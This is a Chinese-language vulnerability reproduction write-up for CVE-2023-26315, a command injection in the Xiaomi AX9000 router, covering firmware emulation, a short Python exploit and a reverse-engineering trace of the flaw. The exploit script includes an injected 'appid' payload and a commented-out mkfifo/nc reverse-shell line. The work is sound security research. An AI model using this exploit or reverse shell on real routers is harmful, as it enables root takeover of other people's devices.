小米AX9000 CVE-2023-26315 / CNVD-2024-23093 漏洞复现
漏洞概述:小米路由器AX9000存在认证后命令注入漏洞。此漏洞是由于缺乏输入筛选导致的,攻击者可以利用此漏洞获得对设备的root访问权限。
漏洞编号:CVE-2023-26315 / CNVD-2024-23093
漏洞涉及固件:miwifi_ra70_firmware_cc424_1.0.168.bin
下载链接:https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra70/miwifi_ra70_firmware_cc424_1.0.168.bin
固件模拟
模拟固件开始:
根据WINMT的文章所述,先用binwalk3解压固件
binwalk3 -Me miwifi_ra70_firmware_cc424_1.0.168.bin
然后进入squashfs-root文件夹
由于固件用到了proc和dev里面的一些接口,这里就直接用mount –bind命令将本机的dev和proc文件挂载到squashfs-root文件夹内的dev和proc
sudo mount --bind /proc proc
sudo mount --bind /dev dev
然后用chroot . sh更改更目录为squashfs-root,并启动固件的bash
chroot . /bin/sh
直接启动sysapihttpd,会报noexistdictory错误,可知缺少/var/lock/procd_sysapihttpd.lock这个文件。然后还需要启动ubusd,ubusd会报丢失/var/run/ubus.sock,创建这两个目录和文件即可
mkdir /var/run
mkdir /var/lock
touch /var/run/ubus.sock
touch /var/lock/procd_sysapihttpd.lock
然后启动procd守护进程,ubusd服务,再执行启动sysapihttpd的脚本,即可启动web服务
/sbin/procd &
ubusd &
/etc/init.d/sysapihttpd start
我们在mac book pro M3系列arm64虚拟机上模拟一切正常并且可以打开web网页,但是在x64架构上的虚拟机中模拟失败了,后面的一系列操作都是在macbook上完成的。
直接访问IP地址,即可见到web页面
由于固件是模拟起来的,所以在初始化设置的时候会有一些问题,所以需要执行以下命令跳过初始化
uci set xiaoqiang.common.INITTED=1
uci commit
再次访问即可进入路由器管理登录页面
由于我们跳过了初始化,所以也没有设置路由器管理密码,这里就只能通过命令行输入
uci set account.common.admin=b3a4190199d9ee7fe73ef9a4942a69fece39a771
uci commit
即可更改密码为admin,这里的b3a4190199d9ee7fe73ef9a4942a69fece39a771来自sha1加密,sha1原文是admin加上一段固定的字符串a2ffa5c9be07488bbb04a3a47d3c5f6a
sha1(admina2ffa5c9be07488bbb04a3a47d3c5f6a)=b3a4190199d9ee7fe73ef9a4942a69fece39a771
漏洞复现
在运行脚本前,还需要启动两个服务,并且登录,拿到token
/usr/sbin/datacenter &
/usr/sbin/plugincenter &
import requests
server_ip = "192.168.1.193"
token = "4d58c174fe0f30c0797efc7f228142b6"
nc_shell =";echo 1 > /tmp/1.txt;"
#nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 8889 >/tmp/f;".format(client_ip)
res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), data={'payload':'{"api":629, "appid":"' + nc_shell + '"}'})
print(res.text)
漏洞分析
定位到前端代码lua脚本:
/squashfs-root/usr/lib/lua/luci/controller/api
这个目录下存放了该漏洞的exp请求的lua脚本文件xqdatacenter.lua
尝试用gedit打开,发现是加密过了,用unluac_miwifi这个工具可以进行解密还原
git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build .
得到jar文件后,将unluac.jar拷贝到该目录,然后执行
java -jar ./unluac.jar ./xqdatacenter.lua > decode_xqdatacenter.lua
就能得到解密后的lua脚本了。
通过定位request关键字,我们能找到index -> tunnelRequest这里
function L0()
local L0, L1, L2, L3, L4, L5, L6
L0 = node
L1 = "api"
L2 = "xqdatacenter"
L0 = L0(L1, L2)
L1 = firstchild
L1 = L1()
L0.target = L1
L0.title = ""
L0.order = 300
L0.sysauth = "admin"
L0.sysauth_authenticator = "jsonauth"
L0.index = true
L1 = entry
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L2[1] = L3
L2[2] = L4
L3 = firstchild
L3 = L3()
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 300
L1(L2, L3, L4, L5)
L1 = entry
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L5 = "request"
L2[1] = L3
L2[2] = L4
L2[3] = L5
L3 = call
L4 = "tunnelRequest"
L3 = L3(L4)
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 301
L1(L2, L3, L4, L5)
L1 = entry
...skip...
L3 = "api"
L4 = "xqdatacenter"
L5 = "fsys_resume"
L2[1] = L3
L2[2] = L4
L2[3] = L5
L3 = call
L4 = "fsysResume"
L3 = L3(L4)
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 301
L1(L2, L3, L4, L5)
end
index = L0
function L5()
local L0, L1, L2, L3, L4, L5, L6, L7, L8
L0 = require
L1 = "xiaoqiang.util.XQCryptoUtil"
L0 = L0(L1)
L1 = L0.binaryBase64Enc
L2 = _UPVALUE0_
L2 = L2.formvalue_unsafe
L3 = "payload"
L2, L3, L4, L5, L6, L7, L8 = L2(L3)
L1 = L1(L2, L3, L4, L5, L6, L7, L8)
L2 = _UPVALUE1_
L2 = L2.THRIFT_TUNNEL_TO_DATACENTER
L2 = L2 % L1
L3 = require
L4 = "luci.util"
L3 = L3(L4)
L4 = _UPVALUE0_
L4 = L4.write
L5 = L3.exec
L6 = L2
L5 = L5(L6)
L6 = nil
L7 = false
L8 = true
L4(L5, L6, L7, L8)
end
tunnelRequest = L5
可以看到脚本中tunnelRequest函数用先用binaryBash64Enc加密了所有request内容,然后再用L2.formvalue_unsafe函数调用payload字段的内容,然后调用THRIFT_TUNNEL_TO_DATACENTER发送出去
在/squashfs-root/usr/lib/lua/xiaoqiang/common/XQConfigs.lua中能看到THRIFT_TUNNEL_TO_DATACENTER的定义:
L0 = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_DATACENTER = L0
L0 = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = L0
L0 = "thrifttunnel 2 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0
L0 = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0
L0 = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_SN = L0
L0 = "thrifttunnel 5 ''"
THRIFT_TO_MQTT_GET_DEVICEID = L0
L0 = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_MIIO = L0
L0 = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_YEELINK = L0
L0 = "thrifttunnel 8 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = L0
这里执行了系统命令
thrifttunnel 0 '%s
这点在我们执行exp时也发现了。
继续跟进到/usr/sbin/thrifttunnel
调用链为
main(a1,a2) -> sub_AB08(a1,a2) -> sub_1B9B0(v13,v12) -> sub_1F1F8() base64解密 -> sub_1BAE0(v12) -> apache::thrift::transport::TSocket::TSocket(v2, v22, 9090LL); 建立socket发送到localhost:9090端口。
第一参数为0
,第二参数为eyJhcGkiOjYyOSwgImFwcGlkIjoiO2VjaG8gMSA+IC90bXAvMTIzNC50eHQ7In0=
这里sub_1B6FC经查看,程序功能接近strcpy,将字符串拷贝进v13,然后调用sub_1B9B0(v13,v12)并在该函数调用sub_1F1F8()解密,然后将值传给v12
再回到sub_AB08()
,进入case 0:
分支sub_1BAE0(v12)
然后在sub_1BAE0
函数,建立socket并且发送到localhost:9090进程间通信。
之后的调用链位于/usr/sbin/datacenter
进入main函数,可以看到程序监听了localhost:9090端口
然后程序将获取到的值经过一系列thrift库函数传递到constructAPIMappingTable
中,然后在该函数中的
datacenter::PluginApiCollection::sConstructMappingTable(a1)
里面,定义了所有apiid的具体选项
然后到callPluginCenter
函数,将数据发送到localhost:9091
然后用IDA打开/usr/sbin/plugincenter
发现这里和datacenter
的逻辑一样,监听了9091
端口获取数据给v41
然后调用apache::thrift::server::TNonblockingServer::serve((apache::thrift::server::TNonblockingServer *)v41);
传递给中间函数做下一步处理
在datacenter::PluginApiMappingExtendCollection::sConstructMappingTable
里面定义了所有API ID对应调用的函数
发现程序调用了parseGetIdForVendor
经过一系列处理后,将获取到的json内容传入PluginApi::getIdForVendor
然后在这个函数里面调用了CommonUtils::sCallSystem(v15, v13);
这里虽然有一个判断,检测app id是否合法,但是识别到invalid app id之后,程序并没有退出,而是继续往下执行,结果就造成了命令执行
结语
这是我第一次模拟出来小米路由器的固件,winmt大大给出的模拟方法和他的思路令人叹为观止,特此学习并记录下来。